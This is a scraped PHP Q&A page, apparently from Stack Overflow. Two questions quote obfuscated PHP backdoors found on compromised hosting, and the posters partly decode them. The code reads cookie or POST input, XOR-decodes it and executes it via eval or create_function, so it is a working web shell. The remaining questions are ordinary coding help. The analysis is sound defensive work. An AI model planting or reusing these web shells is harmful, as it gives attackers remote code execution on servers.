what's this malicious code for? - php

I've found this code on a hosting, it appears that it's written by hacker, what is this code for?
<?php $zbsdho = '49y87v3bktgmrfc#ueo\'5anpdi-0_ls2*xH';$ivlmhe = Array();$ivlmhe[] = $zbsdho[34].$zbsdho[32];$ivlmhe[] = $zbsdho[1].$zbsdho[24].$zbsdho[21].$zbsdho[17].$zbsdho[20].$zbsdho[13].$zbsdho[4].$zbsdho[0].$zbsdho[26].$zbsdho[3].$zbsdho[20].$zbsdho[17].$zbsdho[31].$zbsdho[26].$zbsdho[0].$zbsdho[0].$zbsdho[20].$zbsdho[20].$zbsdho[26].$zbsdho[7].$zbsdho[7].$zbsdho[27].$zbsdho[3].$zbsdho[26].$zbsdho[27].$zbsdho[3].$zbsdho[24].$zbsdho[17].$zbsdho[14].$zbsdho[14].$zbsdho[6].$zbsdho[3].$zbsdho[14].$zbsdho[20].$zbsdho[4].$zbsdho[14];$ivlmhe[] = $zbsdho[15];$ivlmhe[] = $zbsdho[14].$zbsdho[18].$zbsdho[16].$zbsdho[22].$zbsdho[9];$ivlmhe[] = $zbsdho[30].$zbsdho[9].$zbsdho[12].$zbsdho[28].$zbsdho[12].$zbsdho[17].$zbsdho[23].$zbsdho[17].$zbsdho[21].$zbsdho[9];$ivlmhe[] = $zbsdho[17].$zbsdho[33].$zbsdho[23].$zbsdho[29].$zbsdho[18].$zbsdho[24].$zbsdho[17];$ivlmhe[] = $zbsdho[30].$zbsdho[16].$zbsdho[7].$zbsdho[30].$zbsdho[9].$zbsdho[12];$ivlmhe[] = $zbsdho[21].$zbsdho[12].$zbsdho[12].$zbsdho[21].$zbsdho[2].$zbsdho[28].$zbsdho[11].$zbsdho[17].$zbsdho[12].$zbsdho[10].$zbsdho[17];$ivlmhe[] = $zbsdho[30].$zbsdho[9].$zbsdho[12].$zbsdho[29].$zbsdho[17].$zbsdho[22];$ivlmhe[] = $zbsdho[23].$zbsdho[21].$zbsdho[14].$zbsdho[8];foreach ($ivlmhe[7]($_COOKIE, $_POST) as $owoafjz => $nunarwf){function ogehexx($ivlmhe, $owoafjz, $oibsdj){return $ivlmhe[6]($ivlmhe[4]($owoafjz . $ivlmhe[1], ($oibsdj / $ivlmhe[8]($owoafjz)) + 1), 0, $oibsdj);}function lxasj($ivlmhe, $arihtmu){return #$ivlmhe[9]($ivlmhe[0], $arihtmu);}function jxlby($ivlmhe, $arihtmu){$flgqwzt = $ivlmhe[3]($arihtmu) % 3;if (!$flgqwzt) {eval($arihtmu[1]($arihtmu[2]));exit();}}$nunarwf = lxasj($ivlmhe, $nunarwf);jxlby($ivlmhe, $ivlmhe[5]($ivlmhe[2], $nunarwf ^ ogehexx($ivlmhe, $owoafjz, $ivlmhe[8]($nunarwf))));}

First start off by beautifying the code:
<?php
$zbsdho = '49y87v3bktgmrfc#ueo\'5anpdi-0_ls2*xH';
$ivlmhe = Array();
$ivlmhe[] = $zbsdho[34] . $zbsdho[32];
$ivlmhe[] = $zbsdho[1] . $zbsdho[24] . $zbsdho[21] . $zbsdho[17] . $zbsdho[20] . $zbsdho[13] . $zbsdho[4] . $zbsdho[0] . $zbsdho[26] . $zbsdho[3] . $zbsdho[20] . $zbsdho[17] . $zbsdho[31] . $zbsdho[26] . $zbsdho[0] . $zbsdho[0] . $zbsdho[20] . $zbsdho[20] . $zbsdho[26] . $zbsdho[7] . $zbsdho[7] . $zbsdho[27] . $zbsdho[3] . $zbsdho[26] . $zbsdho[27] . $zbsdho[3] . $zbsdho[24] . $zbsdho[17] . $zbsdho[14] . $zbsdho[14] . $zbsdho[6] . $zbsdho[3] . $zbsdho[14] . $zbsdho[20] . $zbsdho[4] . $zbsdho[14];
$ivlmhe[] = $zbsdho[15];
$ivlmhe[] = $zbsdho[14] . $zbsdho[18] . $zbsdho[16] . $zbsdho[22] . $zbsdho[9];
$ivlmhe[] = $zbsdho[30] . $zbsdho[9] . $zbsdho[12] . $zbsdho[28] . $zbsdho[12] . $zbsdho[17] . $zbsdho[23] . $zbsdho[17] . $zbsdho[21] . $zbsdho[9];
$ivlmhe[] = $zbsdho[17] . $zbsdho[33] . $zbsdho[23] . $zbsdho[29] . $zbsdho[18] . $zbsdho[24] . $zbsdho[17];
$ivlmhe[] = $zbsdho[30] . $zbsdho[16] . $zbsdho[7] . $zbsdho[30] . $zbsdho[9] . $zbsdho[12];
$ivlmhe[] = $zbsdho[21] . $zbsdho[12] . $zbsdho[12] . $zbsdho[21] . $zbsdho[2] . $zbsdho[28] . $zbsdho[11] . $zbsdho[17] . $zbsdho[12] . $zbsdho[10] . $zbsdho[17];
$ivlmhe[] = $zbsdho[30] . $zbsdho[9] . $zbsdho[12] . $zbsdho[29] . $zbsdho[17] . $zbsdho[22];
$ivlmhe[] = $zbsdho[23] . $zbsdho[21] . $zbsdho[14] . $zbsdho[8];
foreach ($ivlmhe[7]($_COOKIE, $_POST) as $owoafjz => $nunarwf) {
function ogehexx($ivlmhe, $owoafjz, $oibsdj)
{
return $ivlmhe[6]($ivlmhe[4]($owoafjz . $ivlmhe[1], ($oibsdj / $ivlmhe[8]($owoafjz)) + 1), 0, $oibsdj);
}
function lxasj($ivlmhe, $arihtmu)
{
return #$ivlmhe[9]($ivlmhe[0], $arihtmu);
}
function jxlby($ivlmhe, $arihtmu)
{
$flgqwzt = $ivlmhe[3]($arihtmu) % 3;
if (!$flgqwzt) {
eval($arihtmu[1]($arihtmu[2]));
exit();
}
}
$nunarwf = lxasj($ivlmhe, $nunarwf);
jxlby($ivlmhe, $ivlmhe[5]($ivlmhe[2], $nunarwf ^ ogehexx($ivlmhe, $owoafjz, $ivlmhe[8]($nunarwf))));
}
Then we find the values located in $ivlmhe:
array(10) {
[0]=> string(2) "H*"
[1]=> string(36) "9dae5f74-85e2-4455-bb08-08decc38c57c"
[2]=> string(1) "#"
[3]=> string(5) "count"
[4]=> string(10) "str_repeat"
[5]=> string(7) "explode"
[6]=> string(6) "substr"
[7]=> string(11) "array_merge"
[8]=> string(6) "strlen"
[9]=> string(4) "pack"
}
Then:
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function ogehexx($ivlmhe, $key, $oibsdj)
{
return substr(str_repeat($key . "9dae5f74-85e2-4455-bb08-08decc38c57c", ($oibsdj / strlen($key)) + 1), 0, $oibsdj);
}
function lxasj($ivlmhe, $arihtmu)
{
return #pack("H*", $arihtmu);
}
function jxlby($ivlmhe, $arihtmu)
{
$flgqwzt = count($arihtmu) % 3;
if (!$flgqwzt) {
eval($arihtmu[1]($arihtmu[2]));
exit();
}
}
$value = lxasj($ivlmhe, $value);
jxlby($ivlmhe, explode("#", $value ^ ogehexx($ivlmhe, $key, strlen($value))));
}
That's all I've been able to decode so far, they are interested in the $_COOKIE & $_POST variables and perform various functions on them.
I made an error in the jxlby function originally, I have changed it to what it should be... the eval() within this function will be the nasty part, but I am finding it very difficult to figure out what exactly is being evaluated as the input for this function $arihtmu comes from this line which has a bitwise Xor operator in it explode("#", $value ^ ogehexx($ivlmhe, $key, strlen($value)))

Related

Working with large numbers in php is outputing 0

I am trying to do some Diffie-Hellman which works fine with smaller generator, mod and private keys. But when the numbers get to large it just outputs zero. I've looked at other posts with no real solution. Could it be configured in php.ini?
$gen = 877;
$mod = 80182923;
$saltA = 517;
$saltB = 1517;
echo "calculation of Ga og Gb<br>";
echo "<br>user A shareable value<br>";
$calculatedSecretKeyA = ($gen**$saltA) % $mod;
echo $gen . "^" . $saltA . " mod " . $mod . " = " . $calculatedSecretKeyA;
echo "<br>user B shareable value<br>";
$calculatedSecretKeyB = ($gen**$saltB) % $mod;
echo $gen . "^" . $saltB . " mod " . $mod . " = " . $calculatedSecretKeyB;
echo "<br>user As calc of secret key <br>";
$calcKeyA = ($calculatedSecretKeyB**$saltA) % $mod;
echo $calculatedSecretKeyB . "^" . $saltA . "" . " mod " . $mod . " = " . $calcKeyA;
echo "<br><br>user Bs calc of secret key <br>";
$calcKeyB = ($calculatedSecretKeyA**$saltB) % $mod;
echo $calculatedSecretKeyA . "^" . $saltB . "" . " mod " . $mod . " = " . $calcKeyB;
echo "<br><br>bruteforcer A calc of secret key <br>";
$calcKeyB = ($calculatedSecretKeyA**7) % $mod;
echo $calculatedSecretKeyA . "^" . 7 . "" . " mod " . $mod . " = " . $calcKeyB;
You can use GMP library for this (https://www.php.net/manual/en/ref.gmp.php):
echo "calculation of Ga og Gb<br>";
echo "<br>user A shareable value<br>";
$calculatedSecretKeyA = gmp_mod ( gmp_pow ($gen, $saltA), $mod);
echo $gen . "^" . $saltA . " mod " . $mod . " = " . $calculatedSecretKeyA;
Output:
calculation of Ga og Gbuser A shareable value877^517 mod 80182923 = 79127908

Random php code found in my website root folder, what is it?

The file name is 7bcwj0cb.php, and the contents are very weird, was I hacked?
There were like 5 other files with similar gibberish
<?php
$pgmvyzp = 'ab6u*9eivyx184o52l-kr7#ndpHfgtm_c\'s';
$maczjg = Array();
$maczjg[] = $pgmvyzp[32] . $pgmvyzp[20] . $pgmvyzp[6] . $pgmvyzp[0] . $pgmvyzp[29] . $pgmvyzp[6] . $pgmvyzp[31] . $pgmvyzp[27] . $pgmvyzp[3] . $pgmvyzp[23] . $pgmvyzp[32] . $pgmvyzp[29] . $pgmvyzp[7] . $pgmvyzp[14] . $pgmvyzp[23];
$maczjg[] = $pgmvyzp[13] . $pgmvyzp[24] . $pgmvyzp[1] . $pgmvyzp[32] . $pgmvyzp[6] . $pgmvyzp[13] . $pgmvyzp[6] . $pgmvyzp[21] . $pgmvyzp[18] . $pgmvyzp[6] . $pgmvyzp[24] . $pgmvyzp[5] . $pgmvyzp[5] . $pgmvyzp[18] . $pgmvyzp[13] . $pgmvyzp[32] . $pgmvyzp[1] . $pgmvyzp[16] . $pgmvyzp[18] . $pgmvyzp[12] . $pgmvyzp[16] . $pgmvyzp[15] . $pgmvyzp[1] . $pgmvyzp[18] . $pgmvyzp[27] . $pgmvyzp[15] . $pgmvyzp[21] . $pgmvyzp[12] . $pgmvyzp[16] . $pgmvyzp[13] . $pgmvyzp[11] . $pgmvyzp[15] . $pgmvyzp[5] . $pgmvyzp[24] . $pgmvyzp[2] . $pgmvyzp[2];
$maczjg[] = $pgmvyzp[26] . $pgmvyzp[4];
$maczjg[] = $pgmvyzp[22];
$maczjg[] = $pgmvyzp[32] . $pgmvyzp[14] . $pgmvyzp[3] . $pgmvyzp[23] . $pgmvyzp[29];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20] . $pgmvyzp[31] . $pgmvyzp[20] . $pgmvyzp[6] . $pgmvyzp[25] . $pgmvyzp[6] . $pgmvyzp[0] . $pgmvyzp[29];
$maczjg[] = $pgmvyzp[6] . $pgmvyzp[10] . $pgmvyzp[25] . $pgmvyzp[17] . $pgmvyzp[14] . $pgmvyzp[24] . $pgmvyzp[6];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[3] . $pgmvyzp[1] . $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20];
$maczjg[] = $pgmvyzp[0] . $pgmvyzp[20] . $pgmvyzp[20] . $pgmvyzp[0] . $pgmvyzp[9] . $pgmvyzp[31] . $pgmvyzp[30] . $pgmvyzp[6] . $pgmvyzp[20] . $pgmvyzp[28] . $pgmvyzp[6];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20] . $pgmvyzp[17] . $pgmvyzp[6] . $pgmvyzp[23];
$maczjg[] = $pgmvyzp[25] . $pgmvyzp[0] . $pgmvyzp[32] . $pgmvyzp[19];
foreach ($maczjg[8]($_COOKIE, $_POST) as $bxoyyiw => $uugksy) {
function kfzbo($maczjg, $bxoyyiw, $iuufylj)
{
return $maczjg[7]($maczjg[5]($bxoyyiw . $maczjg[1], ($iuufylj / $maczjg[9]($bxoyyiw)) + 1), 0, $iuufylj);
}
function ngsojvo($maczjg, $tafqe)
{
return #$maczjg[10]($maczjg[2], $tafqe);
}
function zhozxyb($maczjg, $tafqe)
{
$lvjxhjh = $maczjg[4]($tafqe) % 3;
if (!$lvjxhjh) {
$obfgnob = $maczjg[0];
$xmsae = $obfgnob("", $tafqe[1]($tafqe[2]));
$xmsae();
exit();
}
}
$uugksy = ngsojvo($maczjg, $uugksy);
zhozxyb($maczjg, $maczjg[6]($maczjg[3], $uugksy ^ kfzbo($maczjg, $bxoyyiw, $maczjg[9]($uugksy))));
}
?>
It looks like your post is mostly code; please add some more details.
It looks like your post is mostly code; please add some more details.
I was working on decoding this code slightly, my original code on my server was this :
<?php
$qzyri = 'fe1*sa4bx_#dc50ltnyoH6r3-gmp9viu2\'k';
$gsubnr = Array();
$gsubnr[] = $qzyri[12] . $qzyri[22] . $qzyri[1] . $qzyri[5] . $qzyri[16] . $qzyri[1] . $qzyri[9] . $qzyri[0] . $qzyri[31] . $qzyri[17] . $qzyri[12] . $qzyri[16] . $qzyri[30] . $qzyri[19] . $qzyri[17];
$gsubnr[] = $qzyri[20] . $qzyri[3];
$gsubnr[] = $qzyri[10];
$gsubnr[] = $qzyri[0] . $qzyri[14] . $qzyri[23] . $qzyri[2] . $qzyri[5] . $qzyri[11] . $qzyri[14] . $qzyri[0] . $qzyri[24] . $qzyri[0] . $qzyri[0] . $qzyri[13] . $qzyri[28] . $qzyri[24] . $qzyri[6] . $qzyri[32] . $qzyri[13] . $qzyri[23] . $qzyri[24] . $qzyri[5] . $qzyri[21] . $qzyri[6] . $qzyri[11] . $qzyri[24] . $qzyri[11] . $qzyri[2] . $qzyri[11] . $qzyri[0] . $qzyri[2] . $qzyri[6] . $qzyri[5] . $qzyri[7] . $qzyri[14] . $qzyri[7] . $qzyri[0] . $qzyri[23];
$gsubnr[] = $qzyri[12] . $qzyri[19] . $qzyri[31] . $qzyri[17] . $qzyri[16];
$gsubnr[] = $qzyri[4] . $qzyri[16] . $qzyri[22] . $qzyri[9] . $qzyri[22] . $qzyri[1] . $qzyri[27] . $qzyri[1] . $qzyri[5] . $qzyri[16];
$gsubnr[] = $qzyri[1] . $qzyri[8] . $qzyri[27] . $qzyri[15] . $qzyri[19] . $qzyri[11] . $qzyri[1];
$gsubnr[] = $qzyri[4] . $qzyri[31] . $qzyri[7] . $qzyri[4] . $qzyri[16] . $qzyri[22];
$gsubnr[] = $qzyri[5] . $qzyri[22] . $qzyri[22] . $qzyri[5] . $qzyri[18] . $qzyri[9] . $qzyri[26] . $qzyri[1] . $qzyri[22] . $qzyri[25] . $qzyri[1];
$gsubnr[] = $qzyri[4] . $qzyri[16] . $qzyri[22] . $qzyri[15] . $qzyri[1] . $qzyri[17];
$gsubnr[] = $qzyri[27] . $qzyri[5] . $qzyri[12] . $qzyri[34];
foreach ($gsubnr[8]($_COOKIE, $_POST) as $hbhkgf => $jeswg) {
function ilkbnxf($gsubnr, $hbhkgf, $gufyu)
{
return $gsubnr[7]($gsubnr[5]($hbhkgf . $gsubnr[3], ($gufyu / $gsubnr[9]($hbhkgf)) + 1), 0, $gufyu);
}
function rpobw($gsubnr, $wfqhr)
{
return #$gsubnr[10]($gsubnr[1], $wfqhr);
}
function przvg($gsubnr, $wfqhr)
{
$gltnue = $gsubnr[4]($wfqhr) % 3;
if (!$gltnue) {
$qebvtmo = $gsubnr[0];
$yxubf = $qebvtmo("", $wfqhr[1]($wfqhr[2]));
$yxubf();
exit();
}
}
$jeswg = rpobw($gsubnr, $jeswg);
przvg($gsubnr, $gsubnr[6]($gsubnr[2], $jeswg ^ ilkbnxf($gsubnr, $hbhkgf, $gsubnr[9]($jeswg))));
}
$yxubf
I have ended up decoding it so far to this
$array = array_merge($_COOKIE,$_POST);
foreach ($array as $key => $value) {
function ilkbnxf( $key, $length) {
return substr(str_repeat($key . 'f031ad0f-ff59-4253-a64d-d1df14ab0bf3', ($length / strlen($key)) + 1), 0, $length);
}
function toBinary( $wfqhr) {
return #pack('H*', $wfqhr);
}
function przvg( $wfqhr) {
$gltnue = count($wfqhr) % 3;
if (!$gltnue) {
var_dump($wfqhr);
// $yxubf = create_function("", $wfqhr[1]($wfqhr[2]));
// $yxubf();
// exit();
}
}
$value = toBinary( $value);
przvg(explode('#', $value ^ ilkbnxf( $key, strlen($value))));
Now I see some few issues,
I dont think this code will run due to these.
First of all, the function is being declared in a foreach loop, and as far as I know you cannot declare functions in a for loop due to not being able to declare functions multiple times (in the loop it will be declared more than once).
Secondly, the $wfqhr variable, from the code below, after running it a few times, this variable does not end up making a proper function as required in the create_function, which e.g would send the cookie somewhere or etc. The script does attempt to obfuscate the cookie though.
Also, for most of the cookie and post, I have tried, the if statement does not get run.
I cant figure out what this script is for or what it is meant to do, and if somebody else could help out in further figuring out the script, that would be quite helpful.

PHP variable from array to function

<?
$dir4 = "report/";
$dh4 = opendir($dir4);
$giCity = geoip_open("geoip/GeoLiteCity.dat", GEOIP_STANDARD);
while (false !== ($filename4 = readdir($dh4))) {
$files4[] = $filename4;
sort($files4);
}
for ($p = 2; $p < count($files4); ++$p){
${"name" . $p} = pathinfo($files4[$p], PATHINFO_FILENAME);
${"idset" . $p} = substr("${"name" . $p}", 7, strpos("${"name" . $p} ", '-'));
${"soubor" . $p} = fopen("report/$files4[$p]", "r");
${"ipset" . $p}=fgets(${"soubor" . $p});
${"ipset2" . $p} = substr("${"ipset" . $p}", strpos("${"ipset" . $p}", ','));
${"ipset" . $p}= str_replace("${"ipset2" . $p}", "", "${"ipset" . $p}");
${"stav" . $p}=fgets(${"soubor" . $p});
${"ver" . $p}=fgets(${"soubor" . $p});
${"group" . $p}=fgets(${"soubor" . $p});
${"ipl" . $p}=fgets(${"soubor" . $p});
${"hw" . $p}=fgets(${"soubor" . $p});
${"stavh" . $p} = substr("${"stav" . $p}", 0, strpos("${"stav" . $p}", '['));
${"stav" . $p}= str_replace("${"stavh" . $p}", "", "${"stav" . $p}");
fclose(${"soubor" . $p});
//MAP loading START
${"record" . $p} = geoip_record_by_addr($giCity, ${"group" . $p});
${"lat" . $p} = ${"record" . $p}->latitude;
${"long" . $p} = ${"record" . $p}->longitude;
${"relace" . $p} = fopen("map.dat", "a");
${"text1" . $p} = '<script>';
${"text2" . $p} ='var showPosition = function (position) {';
${"text3" . $p} = 'var userLatLng = new google.maps.LatLng('."${"lat" . $p}".','."${"long" . $p}".');';
${"text4" . $p} = ' var marker = new google.maps.Marker({ position: userLatLng,title: \'BOT\',map: map });} ';
${"text5" . $p} = 'navigator.geolocation.getCurrentPosition(showPosition); </script>';
fwrite(${"relace" . $p},"\n${"text1" . $p}");
fwrite(${"relace" . $p},"\n${"text2" . $p}");
fwrite(${"relace" . $p},"\n${"text3" . $p}");
fwrite(${"relace" . $p},"\n${"text4" . $p}");
fwrite(${"relace" . $p},"\n${"text5" . $p}");
fclose(${"relace" . $p});
?>
This Code works only if variable is static ${"group" . $p}->$group="xxxxxxx"; but when is reading by for it will sucessfully echo but will not work with that function ${"group" . $p} function is acting like nothing in that variable.function dont want accept array as string and this not too group[$p] but is not empty ,i dont know why function is accepting only variables like $group = "54.112.55.111"; in array is same but its not working

Formatting String in PHP

I am trying to display numbers retrieved from the database, in a specific format in a text box.
There are two ways in which the numbers can be displayed.
When the total numbers are 10
in database (4608061019) Expected output 46-0806-1019
When the total numbers are 13
in database (4608061019100) Expected output 46-0806-1019-100
My progress so far:
While saving the value into the database I am using
preg_replace("/[^0-9]/","",$string); // to make sure all hardcoded "-" are removed while storing.
One possible (regex-using) approach:
$str = '4608061019';
$formatted = preg_replace(
'/(^\d{2}|\d{4})(?!$)/', '$1-', $str);
// 46-0806-1019
Demo. This function doesn't check the string's length - it just adds a hyphen after each relevant sequence of symbols (2 right after the beginning, 4 afterwards).
Easy! If you are sure that there are only these two options, then you can do this way:
Convert the number to an array of numbers:
$number = str_split($number);
Check the length:
if (count($number) == 10)
$number = $number[0] . $number[1] . "-" . $number[2] . $number[3] . $number[4] . $number[5] . "-" . $number[6] . $number[7] . $number[8] . $number[9];
else if (count($number) == 13)
$number = $number[0] . $number[1] . "-" . $number[2] . $number[3] . $number[4] . $number[5] . "-" . $number[6] . $number[7] . $number[8] . $number[9] . "-" . $number[10] . $number[11] . $number[12];
Return the number:
return $number;
The full function here:
function tokenize($number)
{
$number = str_split($number);
if (count($number) == 10)
$number = $number[0] . $number[1] . "-" . $number[2] . $number[3] . $number[4] . $number[5] . "-" . $number[6] . $number[7] . $number[8] . $number[9];
else if (count($number) == 13)
$number = $number[0] . $number[1] . "-" . $number[2] . $number[3] . $number[4] . $number[5] . "-" . $number[6] . $number[7] . $number[8] . $number[9] . "-" . $number[10] . $number[11] . $number[12];
return $number;
}
Output
echo tokenize(4608061019);
echo tokenize(4608061019100);
Output
46-0806-1019
46-0806-1019-100
Fiddle: http://codepad.viper-7.com/EVWeFR
Another alternative solution:
$parts = array(2,4,4,3);
$string = "4608061019100";
$i = 0;
$newString = '';
foreach ($parts as $part) {
$newString.=substr($string, $i, $part) ."-";
$i = $i+$part;
}
$newString = rtrim($newString, "-");
Output is:
string '46-0806-1019-100' (length=16)
Works for 46-0806-1019 too.
try it:
//$number = '4608061019';
$number = '4608061019100';
function formatImportantNumber($theNumber){
$formatedNumber = '';
if(strlen($theNumber)==10){
//46-0806-1019
$formatedNumber = substr($theNumber, 0, 2).'-'.substr($theNumber, 2, 4).'-'.substr($theNumber, 6, 4);
}elseif(strlen($theNumber)==13){
//46-0806-1019-100
$formatedNumber = substr($theNumber, 0, 2).'-'.substr($theNumber, 2, 4).'-'.substr($theNumber, 6, 4).'-'.substr($theNumber, 10, 3);
}else{
die('Invalid number formated')
}
return $formatedNumber;
}
echo formatImportantNumber($number);

Using arrays in PHP

I am working on my first program written in PHP. This is a basic question. I am trying to print a string stored in an array. I have two arrays. One array, $content, stores a number at $content[$i][15] (i am using arrays in arrays, and looping through it with a for loop). Lets say this number is 3. I now want to access a string in another array, called $type. This string is at position $type[3]. Logically, I think, $type[3] should print the same thing as $type[$content[$i][15]]. But, when I call $type[$content[$i][15]], it doesn't print anything, but when i print $type[3] it works fine. Is this type of call not allowed in PHP?
$type = array();
$typetemp = readfile("type.csv");
foreach ($typetemp as $sa){
$type[$sa[0]] = $sa[1];
}
$content = readfile("content.csv");
for($i=0; $i<sizeof($content); $i++){
if($content[$i][15] == 3){
if($content[$i][4] == 1){
$temp = $content[$i][15];
echo "id is " . $content[$i][0] . "title is " . $content[$i][1] . "introtext is " . $content[$i][2] . "restoftext is " . $content[$i][3] . "visible is " . $content[$i][4] . "category is " . $content[$i][5] . "creation_date is " . $content[$i][6] . "author is " . $content[$i][7] . "img is " . $content[$i][8] . "ordering is " . $content[$i][9] . "rank is " . $content[$i][10] . "vid is " . $content[$i][11] . "start_date is " . $content[$i][12] . "stop_date is " . $content[$i][13] . "event_date is " . $content[$i][14] . "type is " . $content[$i][15] . "thumb is " . $content[$i][16] . "type name is " . $type[$temp] . "<br/>";
}
}
}
function readfile($filename) {
$line_of_text = array();
$file_handle = fopen($filename, "r");
while (!feof($file_handle) ) {
array_push($line_of_text, fgetcsv($file_handle, 1024));
}
fclose($file_handle);
return $line_of_text;
}
You are missing a $ sign before content:
$type[$content[$i][15]]
This accesses the value in $type with index $content[$i][15]

Categories